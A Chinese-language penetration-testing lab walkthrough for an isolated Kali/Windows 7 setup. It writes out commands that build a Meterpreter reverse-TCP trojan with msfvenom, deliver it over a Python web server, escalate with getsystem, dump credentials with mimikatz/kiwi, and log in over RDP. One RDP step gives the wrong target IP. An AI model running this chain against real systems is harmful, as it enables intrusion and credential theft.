实验简介
本实验模拟真实网络攻击场景,通过Metasploit框架生成恶意程序(木马),利用Python搭建临时Web服务实现载荷投递,并结合Meterpreter会话进行权限提升与mimikatz提取凭证,最终通过远程桌面协议(RDP)验证系统控制权。
技能增长
通过本次实验的学习,能够掌握msfvenom生成Windows反向TCP载荷(木马程序)的操作,包括参数配置(LHOST/LPORT)与格式选择,并且掌握mimikatz内存凭证窃取技术
预备知识
metasploit框架的作用
Metasploit框架是一个强大的渗透测试平台,主要用于识别、验证和管理安全漏洞。它允许用户执行漏洞扫描、利用已知漏洞进行攻击、生成并部署payload以获取对目标系统的访问权限,并支持后续的渗透操作如权限提升和数据提取。此外,Metasploit还能帮助生成详细的测试报告,用于记录发现的安全问题及其解决方案。这个框架集成了大量的exploit和工具,非常适合安全专家用来进行全面的安全评估,但应确保在合法授权的情况下使用。
Mimikatz的工作原理
Mimikatz 主要通过直接与 Windows 操作系统的核心组件交互来获取敏感信息。其工作流程可以概括为以下几个步骤:
访问 LSASS 进程:Mimikatz 首先需要访问 Local Security Authority Subsystem Service (LSASS) 进程的内存空间。LSASS 负责执行本地安全策略,如用户身份验证和权限管理,并存储了各种认证信息。
读取内存中的凭证数据:一旦获得了对 LSASS 进程的访问权限,Mimikatz 就能够读取其中包含的凭证数据。这些数据包括但不限于登录用户的明文密码(如果启用了 WDigest 或者在较新版本的 Windows 中未禁用相应的安全功能)、NTLM 哈希值以及其他形式的身份验证凭据。
处理并展示结果:读取到的数据会被 Mimikatz 解析并格式化成可读的形式展示给用户。这使得攻击者或渗透测试人员能够直接查看或利用这些信息进行进一步的操作,比如横向移动或者提权。
其他功能:除了从内存中提取密码之外,Mimikatz 还具备多种其他功能,例如导出证书、操作 Kerberos 票据、创建管理员账户等。
实验环境
主机名:kali 用户名/密码:root/随机
IP地址:192.168.0.3
主机名:Windows7
用户名/密码:administrator/随机
IP地址:192.168.0.4
实验操作
进入kali虚拟机,执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f exe >/muma.exe命令在根目录下生成恶意上线程序muma.exe,回连地址为192.168.0.3,监听端口为4444
执行python3 -m http.server 80 -d /命令利用python3工具启用临时web站点,站点目录为根目录
然后新建一个命令终端,执行msfconsole命令启动渗透测试工具
执行use exploit/multi/handler选择监听模块,然后执行 set payload windows/meterpreter/reverse_tcp命令选择反向连接载荷,执行set lhost 192.168.0.3设置回连地址为192.168.0.3,监听端口为4444。(注意:这里的回连地址和端口必须和恶意上线程序保持一致),最后执行run命令等待回连。
切换到Windows7虚拟机,打开IE浏览器,访问http://192.168.0.3/muma.exe,弹出文件下载-安全警告弹框,点击运行该程序(注意:这里是为了演示效果,才点击无签名证书的软件,平时遇到一律pass)
确保程序运行后,回到kali虚拟机,发现windows7成功上线
然后在meterpreter中,执行getuid命令查看当前用户权限,发现为administrator,权限不够,mimikatz提取内存中密码必须要system权限,这里执行getsystem命令自动提权至system。
执行load kiwi命令加载mimikatz模块,然后执行help kiwi查看支持的命令
然后执行creds_all命令提取所有用户的明文密码、哈希及票据,发现administrator的密码为vDTDfSbV0O(注意:windows获取密码方式为cloud,每次虚拟机部署成功后密码不一致)
当然还有一种方式获取登录票据的方式,执行mimikatz原生命令。执行kiwi_cmd "privilege::debug"命令启用调试权限,然后执行kiwi_cmd "sekurlsa::logonpasswords"提取登录凭证
新建一个命令终端,执行rdesktop 192.168.0.3命令rdp远程连接192.168.0.4,输入yes选择信任该证书
然后点击其他用户,输入用户名administrator,密码vDTDfSbV0O,成功连接windwos7虚拟机
特别声明:
此文章仅供参考,如用作非法交易造成一定损失或触犯法律,作者一概不负!!!!! 请勿用于非法途径,仅供参考。传送门 -----------> 《中华人民共和国网络安全法》